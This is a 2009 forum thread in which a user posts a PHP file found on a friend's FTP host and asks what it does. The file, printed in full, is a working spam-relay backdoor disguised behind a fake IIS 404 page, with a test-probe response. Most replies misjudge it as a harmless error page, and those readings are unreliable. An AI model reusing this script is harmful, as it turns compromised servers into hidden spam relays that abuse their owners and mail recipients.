Cheat Engine Forum Index Cheat Engine
The Official Site of Cheat Engine
 
 FAQFAQ   SearchSearch   MemberlistMemberlist   UsergroupsUsergroups   RegisterRegister 
 ProfileProfile   Log in to check your private messagesLog in to check your private messages   Log inLog in 


What on earth is this.

 
Post new topic   Reply to topic    Cheat Engine Forum Index -> General programming
View previous topic :: View next topic  
Author Message
Gilles de la Tourette
Master Cheater
Reputation: 7

Joined: 03 Dec 2006
Posts: 280

PostPosted: Tue May 05, 2009 1:00 pm    Post subject: What on earth is this. Reply with quote

A friend of me showed me this and he said he found it in his ftp host.
He thought it was kinda suspicious.
Idk much about FTP and stuff, so I thought about posting it here.
Anyone knows wth it is?
Quote:

<?


function mJwKAhNI($xctmp, $from, $to, $subj, $text, $filename) {
$f = fopen($filename,"rb");
$un = strtoupper(uniqid(time()));
$head = "From: $from\n";
$head .= "To: $to\n";
$head .= "Reply-To: $from\n";
$head .= "Subject: $subj\n";
$head .= "Content-Type:multipart/mixed;";
$head .= "boundary=\"----------".$un."\"\n\n";
$zag = "------------".$un."\nContent-Type:text/html;\n";
$zag .= "Content-Transfer-Encoding: 8bit\n\n$text\n\n";
$zag .= "------------".$un."\n";
$zag .= "Content-Type: application/octet-stream;";
$zag .= "name=\"".basename($filename)."\"\n";
$zag .= "Content-Transfer-Encoding:base64\n";
$zag .= "Content-Disposition:attachment;";
$zag .= "filename=\"".basename($filename)."\"\n\n";
$zag .= chunk_split(base64_encode(fread($f,filesize($filename))))."\n";

return @mail("$to", "$subj", $zag, $head);
}

function OjlWzKRi($xctmp,$from,$to,$subj,$text) {
$head = "From: $from\n";
$head .= "To: $to\n";
$head .= "Subject: $subj\n";
$head .= "Reply-To: $from\n";
$head .= "Content-type: text/html; charset=windows-1251" . "\r\n";
return @mail($to,$subj,$text,$head);
}

if (!empty($_POST['caption']) && !empty($_POST['email']) && !empty($_POST['clientname']) && !empty($_POST['emailsend']) && !empty($_POST['message']) && ($_POST['index'] == 'send'))
{

$xclient = substr(htmlspecialchars(trim($_POST['clientname'])), 0, 80);
$title = substr(htmlspecialchars(trim($_POST['caption'])), 0, 80);
$mess64 = base64_decode($_POST['message']);
$mess = substr(trim($mess64), 0, 10000000);
$send_to = $_POST['emailsend'];
$from = $_POST['email'];

if($_FILES['file']['name'] !=''){
if (is_dir("tmp")) { } else { mkdir("tmp"); }
if(is_uploaded_file($_FILES['file']['tmp_name'])) {
if(move_uploaded_file($_FILES['file']['tmp_name'], "tmp/".basename($_FILES['file']['name']))) {
if(mJwKAhNI($xclient,$from,$send_to,$title,$mess,"tmp/".basename($_FILES['file']['name']))!== FALSE) { echo "OK-FILE"; } else { echo "ERROR-FILE"; }
@unlink("tmp/".basename($_FILES['file']['name']));
} else { echo "ERROR-UPLOAD"; }
} else { echo "ERROR-MOVE"; }
} else {
if(OjlWzKRi($xclient,$from,$send_to,$title,$mess) !== FALSE) {
echo "OK-MESS"; } else { echo "ERROR-MESS"; }
}
}
else
{
if ($_GET['index'] == 'test') {echo "OK2009"; exit;} else
{
echo '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>The page cannot be found</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=Windows-1252">
<STYLE type="text/css">
BODY { font: 8pt/12pt verdana }
H1 { font: 13pt/15pt verdana }
H2 { font: 8pt/12pt verdana }
A:link { color: red }
A:visited { color: maroon }
</STYLE>
</HEAD><BODY><TABLE width=500 border=0 cellspacing=10><TR><TD>

<h1>The page cannot be found</h1>
The page you are looking for might have been removed, had its name changed, or is temporarily unavailable.
<hr>
<p>Please try the following:</p>
<ul>
<li>Make sure that the Web site address displayed in the address bar of your browser is spelled and formatted correctly.</li>
<li>If you reached this page by clicking a link, contact
the Web site administrator to alert them that the link is incorrectly formatted.
</li>
<li>Click the <a href="javascript:history.back(1)">Back</a> button to try another link.</li>
</ul>
<h2>HTTP Error 404 - File or directory not found.<br>Internet Information Services (IIS)</h2>
<hr>
<p>Technical Information (for support personnel)</p>
<ul>
<li>Go to <a href="http://go.microsoft.com/fwlink/?linkid=8180">Microsoft Product Support Services</a> and perform a title search for the words <b>HTTP</b> and <b>404</b>.</li>
<li>Open <b>IIS Help</b>, which is accessible in IIS Manager (inetmgr),
and search for topics titled <b>Web Site Setup</b>, <b>Common Administrative Tasks</b>, and <b>About Custom Error Messages</b>.</li>
</ul>

</TD></TR></TABLE></BODY></HTML>';}

}

?>
Back to top
View user's profile Send private message MSN Messenger
NINTENDO
Grandmaster Cheater Supreme
Reputation: 0

Joined: 02 Nov 2007
Posts: 1371

PostPosted: Tue May 05, 2009 1:04 pm    Post subject: Reply with quote

It looks like perl/php
_________________
Intel over amd yes.
Back to top
View user's profile Send private message Send e-mail AIM Address Yahoo Messenger MSN Messenger
Gilles de la Tourette
Master Cheater
Reputation: 7

Joined: 03 Dec 2006
Posts: 280

PostPosted: Tue May 05, 2009 1:06 pm    Post subject: Reply with quote

Its php, but what does it do?
Back to top
View user's profile Send private message MSN Messenger
Farr.
Grandmaster Cheater
Reputation: 0

Joined: 11 Aug 2008
Posts: 749

PostPosted: Tue May 05, 2009 2:23 pm    Post subject: Reply with quote

looks to me like a 404 page, so if someone is misdirected or tries to access a part of the site that isn't there anymore they will get the 404 telling them the page doesn't exist anymore or make sure that they typed in the url correctly
it's in no way harming to anyone
Back to top
View user's profile Send private message
Drkgodz
Flash moderator
Reputation: 2

Joined: 17 Jul 2006
Posts: 2997
Location: Houston

PostPosted: Tue May 05, 2009 2:35 pm    Post subject: Reply with quote

Valve wrote:
looks to me like a 404 page, so if someone is misdirected or tries to access a part of the site that isn't there anymore they will get the 404 telling them the page doesn't exist anymore or make sure that they typed in the url correctly
it's in no way harming to anyone

It's a fake 404 page lmao.
It seems like it uploads files to an email..?

_________________
Back to top
View user's profile Send private message
Gilles de la Tourette
Master Cheater
Reputation: 7

Joined: 03 Dec 2006
Posts: 280

PostPosted: Tue May 05, 2009 3:58 pm    Post subject: Reply with quote

So someone hacked his ftp thingy and uploaded this so sent the files by email to him?
Back to top
View user's profile Send private message MSN Messenger
iGod
Grandmaster Cheater
Reputation: -1

Joined: 31 Jan 2009
Posts: 621
Location: Manchester, uk.

PostPosted: Tue May 05, 2009 4:55 pm    Post subject: Reply with quote

Loekuh wrote:
So someone hacked his ftp thingy and uploaded this so sent the files by email to him?

No, If you type it in wrong it takes you to a 404 page
like:
ilikepie.com/pie = ilikepie.com/pie
ilikepie.com/pei = 404 Error
Back to top
View user's profile Send private message MSN Messenger
Gilles de la Tourette
Master Cheater
Reputation: 7

Joined: 03 Dec 2006
Posts: 280

PostPosted: Wed May 06, 2009 1:50 pm    Post subject: Reply with quote

He said it comes back all the times when he deletes it,and only in folders which are files in.
Back to top
View user's profile Send private message MSN Messenger
Jesper
Grandmaster Cheater Supreme
Reputation: 9

Joined: 21 Feb 2007
Posts: 1156

PostPosted: Wed May 06, 2009 10:33 pm    Post subject: Reply with quote

It must be something his FTP host is putting there automaticly.
Back to top
View user's profile Send private message
pkedpker
Master Cheater
Reputation: 1

Joined: 11 Oct 2006
Posts: 412

PostPosted: Thu May 07, 2009 11:24 pm    Post subject: Reply with quote

it's a mail spammer.. Sad
_________________
Hacks I made for kongregate.
Kongregate Universal Badge Hack: http://forum.cheatengine.org/viewtopic.php?p=4129411
Kongreate Auto Rating/Voter hack: http://forum.cheatengine.org/viewtopic.php?t=263576
Took a test lol
Back to top
View user's profile Send private message
NINTENDO
Grandmaster Cheater Supreme
Reputation: 0

Joined: 02 Nov 2007
Posts: 1371

PostPosted: Sat May 09, 2009 6:08 am    Post subject: Reply with quote

pkedpker wrote:
it's a mail spammer.. Sad

ye it does include sending mail so it's possible.

_________________
Intel over amd yes.
Back to top
View user's profile Send private message Send e-mail AIM Address Yahoo Messenger MSN Messenger
Gilles de la Tourette
Master Cheater
Reputation: 7

Joined: 03 Dec 2006
Posts: 280

PostPosted: Sun May 10, 2009 10:42 am    Post subject: Reply with quote

Doesnt it send his files on his ftp to some email or something?
Back to top
View user's profile Send private message MSN Messenger
NINTENDO
Grandmaster Cheater Supreme
Reputation: 0

Joined: 02 Nov 2007
Posts: 1371

PostPosted: Mon May 11, 2009 1:39 am    Post subject: Reply with quote

Loekuh wrote:
Doesnt it send his files on his ftp to some email or something?

I think it tells the admin whatever the user is uploading and whenever the upload fails or not. It seems to be automatically generated by the system.

_________________
Intel over amd yes.
Back to top
View user's profile Send private message Send e-mail AIM Address Yahoo Messenger MSN Messenger
Display posts from previous:   
Post new topic   Reply to topic    Cheat Engine Forum Index -> General programming All times are GMT - 6 Hours
Page 1 of 1

 
Jump to:  
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
You cannot attach files in this forum
You can download files in this forum


Powered by phpBB © 2001, 2005 phpBB Group

CE Wiki   IRC (#CEF)   Twitter
Third party websites